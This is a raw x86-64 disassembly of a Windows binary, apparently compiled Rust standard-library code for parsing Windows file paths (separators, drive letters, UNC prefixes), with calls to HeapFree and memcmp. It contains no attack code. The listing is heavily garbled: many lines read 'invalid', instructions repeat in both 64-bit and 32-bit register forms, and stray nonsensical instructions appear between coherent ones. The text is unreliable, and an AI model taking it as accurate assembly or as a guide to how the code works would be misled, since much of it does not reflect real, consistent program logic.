jb 0x140079266
test rcx, rcx
je 0x140079266
lea rcx, [rax - 1]
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
or byte [rax], al
or byte [rax], al
je 0x140079283
cmp qword [rax + 0x10], 0x11
jae 0x14007926c
mov r8, qword [rbp - 0x10]
jmp 0x140079274
cmp qword [rcx + 8], 0
je 0x140079266
mov r8, qword [rcx]
mov rcx, qword [0x1400f0220]
xor edx, edx
jmp 0x140079290
add rsp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x300ad
adc eax, 0x300ad
mov rcx, qword [0x1400f0220]
or eax, 0x76f96
xor edx, edx
mov r8, qword [rbp - 0x20]
add rsp, 0x40
pop rbp
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
movzx edx, ax
shl rdx, 0x10
shr rdx, 0x10
xor r13d, r13d
mov rcx, rbx
call fcn.14007a760
test r13w, r13w
je 0x1400793c0
mov eax, r12d
jmp 0x1400793d0
cmp rdi, r14
je 0x140079455
movzx eax, word [rdi]
add rdi, 2
mov ecx, eax
and ecx, 0xf800
cmp ecx, 0xd800
jne 0x140079390
movzx edx, ax
cmp edx, 0xdbff
ja 0x14007942f
cmp rdi, r14
je 0x140079434
movzx ecx, word [rdi]
add rdi, 2
mov r8d, ecx
add r8d, 0x2000
movzx r8d, r8w
cmp r8d, 0xfc00
jb 0x14007943c
movzx edx, cx
and eax, 0x3ff
and edx, 0x3ff
shl rax, 0x1a
shl rdx, 0x10
or rdx, rax
add rdx, r15
jmp 0x140079397
xor r13d, r13d
jmp 0x140079444
xor r13d, r13d
mov rdi, r14
jmp 0x140079444
mov r13w, 1
mov r12d, ecx
mov byte [rbp - 8], 0
mov rcx, rbx
call fcn.14007a760
clc
add byte [rax - 0x77], cl
fld1
adc byte [rbx], dl
add byte [rax], al
jmp 0x1400793a6
invalid
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop dword [rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 0x20]
loopne 0x1400794e6
mov edx, dword [rbp - 0x18]
loopne 0x1400794e6
mov edx, dword [rbp - 0x18]
call fcn.14003c270
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x20
mov rdx, rdi
mov edx, edi
mov r8, rsi
call fcn.140079610
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x40]
push rsp
and al, 0x40
invalid
movzx r8d, al
movzx r8d, al
lea r9, [0x1400e7bb0]
lea ecx, [0x1400e7bb0]
mov edx, 0x4f0006e6
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rsi
mov r9, rdi
invalid
jmp r10
jmp rdx
add rcx, 4
jmp 0x140079540
invalid
xor al, 0x4c
lea eax, [rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x140079540
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x140079540
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
invalid
add rcx, r8
add rcx, 2
add ecx, 2
add ecx, 2
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
mov r8, rsi
jmp 0x140079540
mov ecx, 2
mov r8, rsi
sub r8, rcx
jb 0x1400795fc
add rcx, rdi
mov r9, rcx
test r8, r8
je 0x14007956f
movzx ecx, byte [r9]
cmp cl, 0x5c
pop rsp
pop rsp
sete dl
cmp cl, 0x2f
invalid
sete cl
or cl, dl
cmp al, 5
jae case.default.0x1400795ae
ret 0xf980
invalid
jmp 0x14007957d
xor ecx, ecx
cmp al, 5
jb 0x14007957d
test cl, cl
jne 0x14007957d
xor eax, eax
jmp 0x1400795f5
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
mov rdx, rdi
mov r8, rsi
invalid
call fcn.140079610
movzx eax, byte [rsp + 0x20]
invalid
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
and al, 0x30
mov rdx, qword [rsp + 0x40]
and al, 0x40
movzx r8d, al
movzx r8d, al
lea r9, [0x1400e7bcc]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
jmp rax
add rcx, 4
jmp 0x1400795eb
invalid
xor al, 0x4c
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x1400795eb
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x1400795eb
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x1400795eb
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
mov ecx, 2
add al, byte [rax]
add byte [rax], al
cmp rcx, rsi
ja 0x1400795fc
cmp al, 6
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a43b0
ud2
mov dh, 0x42
add eax, 0xf442f3c
cmp al, 0x2f
cmovne r11d, eax
cmp r8, 6
cmp al, 0x2f
cmovne r11d, eax
cmp r8, 6
jne case.0x140071458.419
xor r10d, r10d
xor edx, edx
xor ebp, ebp
in eax, dx
jmp 0x140079734
movzx ebp, byte [rdx + 6]
cmp bpl, 0x2f
invalid
mov r10d, 0x5c
pop rsp
add byte [rax], al
add byte [rcx + 0xf], al
invalid
invalid
invalid
pop rsp
add byte [rax], al
add byte [rcx + 0xf], al
cmove ebp, edx
invalid
cmp r8, 7
jne 0x140079726
add eax, 0xebd23145
invalid
xor r10d, r10d
jmp 0x140079734
movzx eax, byte [rdx + 7]
cmp al, 0x2f
cmovne r10d, eax
invalid
invalid
mov dh, 0x42
invalid
invalid
ror byte [r9 - 0x3f], 1
ror byte [rcx - 0x3f], 1
shl r10, 0x38
loop 0x14007976c
cmp r8, 8
cmp eax, 8
or byte [rax + 8], bh
mov eax, 8
add byte [rcx + 0xf], cl
cmovb rax, r8
cmovb eax, eax
ror byte [rax - 0x7d], 0xf8
add dh, byte [rdx + 0x73]
jb 0x1400797ba
cmp rax, 2
jb 0x1400797ba
movzx edi, dil
shl rdi, 8
shl edi, 8
shl edi, 8
or byte [rax + 0xf], al
movzx esi, sil
mov dh, 0xf6
or rsi, rdi
inc byte [rcx + 0x5c5cfe]
add byte [rbp + 0x5c], dh
jne 0x1400797ba
cmp esi, 0x5c5c
jne 0x1400797ba
mov esi, eax
and esi, 0xe
out 0xe, al
out 0xe, al
cmp esi, 2
je 0x1400797fb
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xf6
movzx esi, r14b
shl esi, 8
movzx edi, bl
or edi, esi
movzx esi, di
cmp esi, 0x5c2e
add byte [rax], al
add byte [rax], al
je 0x1400798aa
cmp esi, 0x5c3f
jne 0x1400797fb
insb byte [rdi], dx
insb byte [rdi], dx
cmp r8, 3
jbe 0x140079a56
invalid
add al, byte [rax]
invalid
mov ebp, 0x80000002
cmp ch, byte [rdi]
cmp byte [rdx], 0x2f
je 0x1400797b4
cmp byte [rdx + 1], 0x2f
je 0x1400797b4
invalid
cmp byte [rdx + 2], 0x2f
je 0x1400797b4
cmp byte [rdx + 3], 0x2f
jne 0x1400798e9
lea r10, [r8 - 2]
jmp 0x140079808
cmp r8, 2
jb 0x14007989c
cmp byte [rdx + 1], 0x3a
jne 0x14007989c
movzx eax, byte [rdx]
mov edx, eax
and dl, 0xdf
add dl, 0xbf
cmp dl, 0x1a
jae 0x14007989c
lea edx, [rax - 0x61]
cmp dl, 0x1a
setb dl
shl dl, 5
xor dl, al
mov byte [rcx], 5
mov byte [rcx + 1], dl
jmp 0x14007989f
mov r10, r8
add r10, 0xfffffffffffffffe
je 0x14007989c
lea rax, [rdx + 2]
add rdx, 3
add r8, 0xfffffffffffffffc
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
nop word [rax + rax]
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
je 0x140079842
cmp r11d, 0x5c
je 0x140079842
inc r9
inc rdx
inc edx
inc edx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x140079820
jmp 0x14007989c
lea r11, [r9 + 1]
sub r10, r11
je 0x14007989c
lea r11, [rax + r9]
inc r11
neg r8
xor esi, esi
nop word [rax + rax]
add byte [rax], al
or byte [rcx - 1], cl
ret
add byte [rax], al
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
je 0x14007987d
cmp edi, 0x5c
je 0x14007987d
lea rdi, [rsi + 1]
add rsi, r8
mov rsi, rdi
jne 0x140079860
mov rsi, r10
test r9, r9
je 0x14007989c
test rsi, rsi
je 0x14007989c
invalid
adc eax, 0x480401c6
mov dword [rcx + 8], eax
mov byte [rcx], 4
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], rsi
jmp 0x14007989f
mov byte [rcx], 6
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
cmp r8, 3
jbe 0x140079a6f
add rdx, 4
xor eax, eax
add r8, 0xfffffffffffffffc
je 0x1400798dc
movzx r9d, byte [rdx + rax]
cmp r9d, 0x2f
je 0x1400798dc
cmp r9d, 0x5c
je 0x1400798dc
inc rax
cmp r8, rax
jne 0x1400798c0
mov rax, r8
mov byte [rcx], 3
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
adc bl, ch
invalid
adc bl, ch
mov dh, 0x48
cmp eax, 4
cmp rax, 4
jb 0x140079a88
and eax, 0xc
cmp eax, 4
je 0x140079980
movzx eax, bpl
shl rax, 0x30
or rax, r10
movzx r10d, r11b
shl r10, 0x28
movzx r9d, r9b
shl r9, 0x20
or r9, r10
or r9, rax
movabs rax, 0x5c434e5500000000
cmp r9, rax
jne 0x140079980
cmp r8, 7
jbe 0x140079a9e
lea rax, [rdx + 8]
mov rsi, r8
lea r9, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
add rsi, 0xfffffffffffffff8
je 0x1400799f5
add rdx, 9
add r8, 0xfffffffffffffff6
xor r11d, r11d
xor r10d, r10d
cmp byte [rdx - 1], 0x5c
je 0x140079a0d
inc r10
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x14007995f
mov r10, rsi
jmp 0x140079a3e
lea rax, [rdx + 4]
lea r9, [r8 - 4]
cmp r9, 3
jae 0x14007999c
cmp r8, 4
je 0x1400799fd
cmp r8, 6
je 0x1400799ad
jmp 0x1400799df
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je 0x1400799ad
cmp r10d, 0x5c
jne 0x1400799df
cmp byte [rdx + 5], 0x3a
jne 0x1400799df
movzx edx, byte [rax]
mov r10d, edx
and r10b, 0xdf
add r10b, 0xbf
cmp r10b, 0x19
ja 0x1400799df
lea eax, [rdx - 0x61]
cmp al, 0x1a
setb al
shl al, 5
xor al, dl
mov byte [rcx], 2
mov byte [rcx + 1], al
jmp 0x14007989f
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x1400799fa
inc rdx
cmp r8, rdx
jne 0x1400799e5
jmp 0x1400799fd
xor r10d, r10d
jmp 0x140079a3b
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
jmp 0x14007989f
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
je 0x140079a3b
neg r8
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
je 0x140079a3e
lea rdi, [r11 + 1]
add r11, r8
mov r11, rdi
jne 0x140079a23
mov r11, rsi
jmp 0x140079a3e
xor r11d, r11d
mov byte [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
mov qword [rcx + 0x18], r9
mov qword [rcx + 0x20], r11
jmp 0x14007989f
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.1400a44b0
ud2
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.1400a43b0
ud2
lea r8, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, rax
call fcn.1400a43b0
ud2
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 8
jmp 0x140079a7b
movzx ebp, byte [rdx + 0x39]
push 0x39
cmp bpl, 3
cmp ch, 3
je 0x140079d52
add byte [rcx + 0x38], al
in eax, dx
cmp r13b, bpl
ja 0x140079d52
xchg dword [rcx + 2], ebp
add byte [rax], al
mov rsi, qword [rdi]
mov r11, qword [rdi + 8]
pop rdi
or byte [rdi + rcx - 0x4a], al
adc byte [r9], r14b
ror byte [rcx - 0x7d], 0xf8
add ecx, dword [rdi]
xchg ebx, eax
rol byte [rbp + rcx*4 + 0x74], 0x40
invalid
pop rdi
or byte [rdi + rcx - 0x4a], al
adc byte [r9], r14b
adc byte [rcx], dh
ror byte [rcx - 0x7d], 0xf8
add ecx, dword [rdi]
xchg ebx, eax
rol byte [rbp + rcx*4 + 0x74], 0x40
invalid
lea esi, [rax + rax*2 + 7]
movzx r15d, byte [rdi + 0x3a]
mov rax, qword [rdi + 0x20]
and byte [r8 - 0x75], r9b
push rdi
invalid
mov dh, 0x7f
cmp cl, byte [rax - 0x75]
and byte [r8 - 0x75], r9b
push rdi
mov edx, dword [rdi + 0x30]
xor byte [rbp + rcx*4 + 0x4a], cl
add dword [rax - 0x7b], ecx
test edx, edx
cmove r9, rdx
invalid
invalid
lea r9, [rdx + 1]
test rdx, rdx
test edx, edx
test edx, edx
cmove r9, rdx
lea rdx, [rax + r9 + 2]
push rsp
or byte [rdx], al
push rsp
or byte [rdx], al
mov qword [rsp + 0x30], rdx
and al, 0x30
lea rdx, [rax + r9]
lea edx, [rax + rcx]
add rdx, 8
mov qword [rsp + 0x28], rdx
add rax, 4
add eax, 4
ret 0x4808
add eax, 4
rol byte [rsp + rcx*2], 0x8d
and eax, 0x6e0ab
lea r12, [0x1400e7be8]
mov rdx, r11
jmp 0x140079b66
invalid
mov ecx, dword [rsp + 0x30]
test r9, r9
jne case.0x140079503.28
mov byte [rdi + 0x38], 1
mov r13b, 1
mov r10, rsi
mov rsi, r10
cmp r13b, bpl
ja 0x140079d52
invalid
add byte [rbp - 0x7c], al
in eax, dx
test r13b, r13b
je 0x140079be0
movzx r9d, r13b
cmp r9d, 1
jne 0x140079c10
mov byte [rdi + 0x38], 2
test r15b, r15b
jne 0x140079d33
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x4b], al
mov ch, 2
cmp r8d, 3
jb 0x140079b57
mov r13b, 2
mov ch, 2
cmp r8d, 3
jb 0x140079b57
cmp r8d, 5
je 0x140079b57
cmp r8d, 6
jne 0x140079d8c
test rdx, rdx
je 0x140079cfd
test byte [rbp + 1], dl
add byte [rax], al
test byte [rbp + 1], dl
add byte [rax], al
movzx r9d, byte [rsi]
cmp rdx, 1
je 0x140079d04
cmp r9b, 0x2e
jne 0x140079d04
invalid
add byte [rdi + rcx - 0x4a], al
add qword [rcx - 0x7d], r8
stc
invalid
movzx r9d, byte [rsi + 1]
cmp r9d, 0x2f
je case.0x140078b44.38
cmp r9d, 0x5c
jne 0x140079b57
jmp case.0x140078b44.38
nop dword [rax + rax]
cmp r8b, 6
je case.default.0x140079bf4
movsxd r10, dword [r12 + r8*4]
add r10, r12
mov r9, rax
jmp r10
test rdx, rdx
je 0x140079d4e
xor r9d, r9d
cmp r8b, 3
jae 0x140079c50
nop word cs:[rax + rax]
cmp byte [rsi + r9], 0x5c
je 0x140079c95
inc r9
cmp rdx, r9
jne 0x140079c30
jmp 0x140079c69
movzx r10d, byte [rsi + r9]
cmp r10d, 0x2f
je 0x140079c95
cmp r10d, 0x5c
je 0x140079c95
inc r9
cmp rdx, r9
jne 0x140079c50
invalid
out 0x45, eax
xor edx, edx
xor r10d, r10d
mov r9, rdx
test r9, r9
test ecx, ecx
test ecx, ecx
jne 0x140079ca0
mov r11, rdx
sub r11, r10
sub ebx, edx
sub ebx, edx
jb 0x140079e1b
add r10, rsi
mov qword [rdi], r10
mov dword [rdi], edx
mov dword [rdi], edx
mov qword [rdi + 8], r11
pop rdi
or byte [rcx - 0x4b], al
mov r13b, 2
mov rdx, r11
mov edx, ebx
mov r13b, 2
mov rdx, r11
mov edx, ebx
mov edx, ebx
jmp 0x140079b5a
inc dword [rcx - 0x46]
add dword [rax], eax
add byte [rax], al
invalid
mov r10d, 1
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x140079c74
mov r11, rsi
mov ebx, r14d
mov ebx, esi
mov ebx, esi
cmp r9, 1
je 0x140079cbf
mov bl, 9
cmp r9, 2
jne case.0x140077d5a.419
cmp byte [rsi], 0x2e
jne case.0x140077d5a.419
lea r11, [rsi + 1]
mov bl, 8
cmp byte [r11], 0x2e
movzx ebx, bl
mov r11d, 9
or dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
cmovne ebx, r11d
add r10, r9
mov r11, rdx
sub r11, r10
jb 0x140079e1b
invalid
cmp al, 1
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rcx + 1], cl
mov qword [rdi], r10
invalid
add r10, rsi
mov qword [rdi], r10
invalid
invalid
mov qword [rdi + 8], r11
mov r13b, 2
mov rdx, r11
cmp bl, 0xa
je 0x140079b5a
test byte [rdx - 2], ah
invalid
invalid
fiadd dword [rax - 0x7bf0f505]
invalid
test byte [rdx - 2], ah
invalid
jmp 0x140079d80
add byte [rcx], dh
shr cl, cl
push rbx
invalid
xor edx, edx
jmp 0x140079b57
cmp rdx, 1
jne 0x140079b57
test dword [rcx - 2], ecx
invalid
invalid
test dword [rcx - 2], ecx
invalid
cmp r9b, 0x2e
cmp cl, 0x2e
stc
jne 0x140079b57
jne 0x140079b57
jne 0x140079b57
test r11, r11
je case.0x1400795ae.25
add byte [rax], al
fisttp dword [rdi]
test byte [rax + 1], cl
add byte [rax], al
dec r11
inc rsi
inc esi
inc esi
mov qword [rdi], rsi
mov dword [rdi], esi
mov qword [rdi + 8], r11
mov dword [rdi + 8], ebx
pop rdi
or dh, al
invalid
mov byte [rcx], 7
add dword [rdi], eax
jmp 0x140079d55
test r11, r11
test ebx, ebx
fisttp dword [rdi]
test al, dh
lock add byte [rax], al
je 0x140079e2c
lock add byte [rax], al
add byte [rax], al
add byte [rcx - 1], cl
retf
dec r11
inc rsi
mov qword [rdi], rsi
mov dword [rdi], esi
invalid
mov dword [rdi], esi
mov qword [rdi + 8], r11
mov byte [rcx], 6
add dword [rsi], eax
pop rdi
or dh, al
add dword [rsi], eax
jmp 0x140079d55
mov byte [rdi + 0x38], 3
cmp byte [r11], r8b
cmp byte [rbx], al
add eax, esi
add dword [rdx], ecx
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rbp
invalid
cmp byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov byte [rdi + 0x38], 1
lea rdx, [0x1400e7c00]
adc eax, 0x6de8f
adc eax, 0x6de8f
invalid
movsxd r9, dword [rdx + r8*4]
or al, 0x82
invalid
add r9, rdx
jmp r9
jmp rcx
jmp rcx
loope 0x140079dc5
mov r9, rax
mov ecx, eax
jmp 0x140079dad
mov byte [rcx], bl
sbb dword [rax - 0x77], ecx
jno 0x140079d8e
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r9
jmp 0x140079d55
adc r11b, bpl
adc bl, ch
leave
mov byte [rcx], 6
invalid
jmp 0x140079d55
invalid
sub bl, ch
adc eax, 0x6b941
add byte [rax], al
jmp 0x140079dad
cmp r9, r11
ja case.default.0x140079dc4
lea rdx, [0x1400e7c18]
movsxd r10, dword [rdx + r8*4]
add r10, rdx
jmp r10
jmp rdx
mov rax, qword [rsp + 0x28]
jmp case.0x140079dc4.0
mov eax, 6
jmp case.0x140079dc4.0
mov rax, qword [rsp + 0x30]
jmp case.0x140079dc4.0
mov eax, 2
mov rdx, r11
sub rdx, rax
jb 0x140079e55
add rax, rsi
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov rax, qword [rdi + 0x30]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rcx + 0x11], xmm1
movups xmmword [rcx + 1], xmm0
mov byte [rcx], r8b
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r9
xor cl, ch
cmp bh, bh
invalid
invalid
xor cl, ch
cmp bh, bh
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, r10
call fcn.1400a43b0
ud2
lea r8, str.library_std_srcpath.rs
invalid
mov ecx, 1
xor edx, edx
call fcn.1400a43b0
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, r9
mov rdx, r11
invalid
invalid
call fcn.1400a44b0
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r11
call fcn.1400a43b0
ud2
lea r8, str.library_std_srcpath.rs
lea eax, [0x1400e0f38]
jmp 0x140079e33
mov rdi, rdx
mov rsi, rcx
movzx ecx, byte [rcx]
lea eax, [rcx - 6]
movzx r8d, al
lea rdx, [r8 + 1]
xor eax, eax
cmp r8b, 4
cmovae rdx, rax
rol byte [r15 + r9 - 0x4a], 1
invalid
lea r9d, [r8 - 6]
movzx r10d, r9b
lea r11, [r10 + 1]
cmp r10b, 4
cmp dl, 4
rol byte [r15 + r9 - 0x4a], 1
invalid
cmp dl, 4
cmovae r11, rax
cmp rdx, r11
fidiv dword [rbp + 0x76]
fidiv dword [rbp + 0x76]
mov al, 1
test rdx, rdx
je 0x140079eeb
cmp edx, 4
jne 0x140079f37
mov r8, qword [rsi + 0x10]
cmp r8, qword [rdi + 0x10]
jne case.default.0x140079f04
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
or byte [rax - 0x75], cl
or al, r13b
cmp eax, 0x8500026f
ror byte [rdi], 0x94
shr bl, 0x4c
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
jmp 0x140079f37
cmp r9b, 4
jb 0x140079f37
add al, 0x72
cmp cl, r8b
cmp cl, r8b
jne case.default.0x140079f04
lea rax, [0x1400e7c30]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov r8, qword [rsi + 0x10]
cmp r8, qword [rdi + 0x10]
jne case.default.0x140079f04
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x140079f04
mov r8, qword [rsi + 0x20]
cmp r8, qword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
jne case.default.0x140079f04
mov rdx, qword [rdi + 0x18]
mov rcx, qword [rsi + 0x18]
jmp 0x140079edf
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
movzx eax, byte [rsi + 1]
cmp al, byte [rdi + 1]
sete al
jmp 0x140079f37
adc dword [rsp + 0x41], ecx
mov rcx, qword [rsp + 0x8f]
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x50], ecx
push rax
mov byte [rsp + 0x5a], al
mov byte [rsp + 0x58], dl
mov byte [rsp + 0x59], r8b
pop rcx
pop rcx
cmp dl, 2
jne 0x14007a0b3
add cl, byte [rdi]
test edi, eax
add byte [rax], al
add byte [rax - 0x7b], cl
dec dword [rdi]
test byte [rdx], bl
invalid
test rdi, rdi
je 0x14007a10f
sbb al, byte [rcx]
add byte [rax], al
sbb al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x80], al
cld
add ecx, dword [rdi]
invalid
cmp r12b, 3
jb 0x14007a083
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x6666c931], dl
leave
nop word cs:[rax + rax]
nop
xor ecx, ecx
leave
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
movzx r9d, byte [rsi + rcx]
movzx ecx, byte [rsi + rcx]
cmp r9d, 0x2f
je 0x14007a040
cmp r9d, 0x5c
cmp ecx, 0x5c
je 0x14007a040
inc rcx
cmp rdi, rcx
cmp edi, ecx
cmp edi, ecx
jne 0x14007a010
xor r9d, r9d
leave
mov rcx, rdi
test rcx, rcx
jne 0x14007a04b
jmp 0x14007a056
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov r9d, 1
test rcx, rcx
je 0x14007a056
cmp rcx, 1
jne 0x14007a0a9
cmp byte [rsi], 0x2e
jne 0x14007a0a9
add rcx, r9
cmp rdi, rcx
jb 0x14007a48e
add rsi, rcx
sub rdi, rcx
jne 0x14007a000
xor edi, edi
jmp 0x14007a0a9
mov r9d, 1
test rcx, rcx
jne 0x14007a0a9
add rsi, r9
sub rdi, r9
je 0x14007a06a
xor ecx, ecx
nop word cs:[rax + rax]
cmp byte [rsi + rcx], 0x5c
je 0x14007a070
inc rcx
cmp rdi, rcx
jne 0x14007a090
xor r9d, r9d
mov rcx, rdi
test rcx, rcx
je case.0x140077d5a.435
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rdi
cmp r8b, 2
jne 0x14007a439
test dl, dl
sete r10b
cmp dl, 1
ja 0x14007a102
xor ecx, ecx
cmp r12b, 5
jb 0x14007a179
test al, al
jne 0x14007a179
cmp r12b, 6
je 0x14007a0f9
cmp edi, 2
jb 0x14007a4c1
cmp r8, rdi
clc
jne 0x14007a137
cmp dword [rcx], esi
leave
xor ecx, ecx
jmp 0x14007a179
xor r9d, r9d
xor ecx, ecx
xor r11d, r11d
jmp 0x14007a1fc
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0x31], al
leave
xor r9d, r9d
mov r10d, 0
mov edi, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], bh
add byte [rax], al
add byte [rax], al
mov ecx, 0
mov r11d, 0
mov ebx, 0
add byte [rcx - 0x45], al
add byte [rax], al
add byte [rax], al
mov ebx, 0
cmp r8b, 2
je 0x14007a1fc
jmp 0x14007a439
add al, byte [rbx]
add byte [rax], al
lea rcx, [rsi + rdi]
lea r9, [rsi + r8]
or al, 6
or al, 6
inc r9
cmp r9, rcx
sete cl
movzx r8d, byte [rsi + r8]
test cl, 1
jne 0x14007a16e
invalid
sbb al, 0x41
cmp al, 0x2e
cmp r8b, 0x2e
jne 0x14007a16e
movzx ecx, byte [r9]
movzx ecx, byte [rcx]
or dword [rax + 0xf415cf9], eax
xchg esp, eax
rol byte [rax - 0x6bf0d007], 0xc1
cmp cl, 0x5c
sete r8b
cmp cl, 0x2f
sete cl
or cl, r8b
jmp 0x14007a179
cmp r8b, 0x2e
sete r8b
xchg esp, eax
invalid
and cl, r8b
and cl, al
xchg esp, eax
rol byte [rax + riz - 0x3f], 0x41
and cl, al
mov r9b, 1
and cl, al
mov r9b, 1
test dl, dl
je 0x14007a188
invalid
or byte [rbp + 0x31], al
rol byte [rbp + 0x31], cl
fucomi st(3)
je 0x14007a1ca
xor r10d, r10d
xor r11d, r11d
jmp 0x14007a1fc
cmp r12b, 6
cmp ah, 6
jne 0x14007a193
xor r11d, r11d
jmp 0x14007a1f9
lea r8, [0x1400e7c48]
movsxd r10, dword [r8 + r12*4]
invalid
fiadd dword [rsi]
add byte [rdi + 0x63], cl
adc al, 0xa0
invalid
movabs al, byte [0x8b4ce2ff41c2014d]
pop rsp
and al, 0x40
add r10, r8
jmp r10
mov r11, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x40]
add r11, 4
jmp 0x14007a1f9
mov r8, qword [rsp + 0x40]
mov r10, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
lea r11, [r10 + 1]
test r10, r10
cmove r11, r10
fimul dword [rbp + 1]
ret
add r11, 8
jmp 0x14007a1f9
fimul dword [rbp + 1]
ret
or bl, ch
sub al, 0x41
mov r11d, 6
mov r11d, 6
jmp 0x14007a1f9
mov r8, qword [rsp + 0x40]
mov r10, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
lea r11, [r10 + 1]
test r10, r10
cmove r11, r10
add r11, r8
add r11, 2
jmp 0x14007a1f9
mov r11d, 2
mov r10b, 1
movzx ecx, cl
test al, al
setne r8b
and r8b, r9b
movzx r13d, r8b
add rcx, r11
add rcx, r13
cmp rdi, rcx
jbe 0x14007a439
add al, 0x41
cmp ah, 5
jb 0x14007a3c6
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + rax*8 + 0x14b850f], al
add byte [rax], al
add byte [rcx + 8], al
invalid
jmp 0x14007a294
add byte [rcx + 8], al
invalid
xor ecx, ecx
movzx eax, al
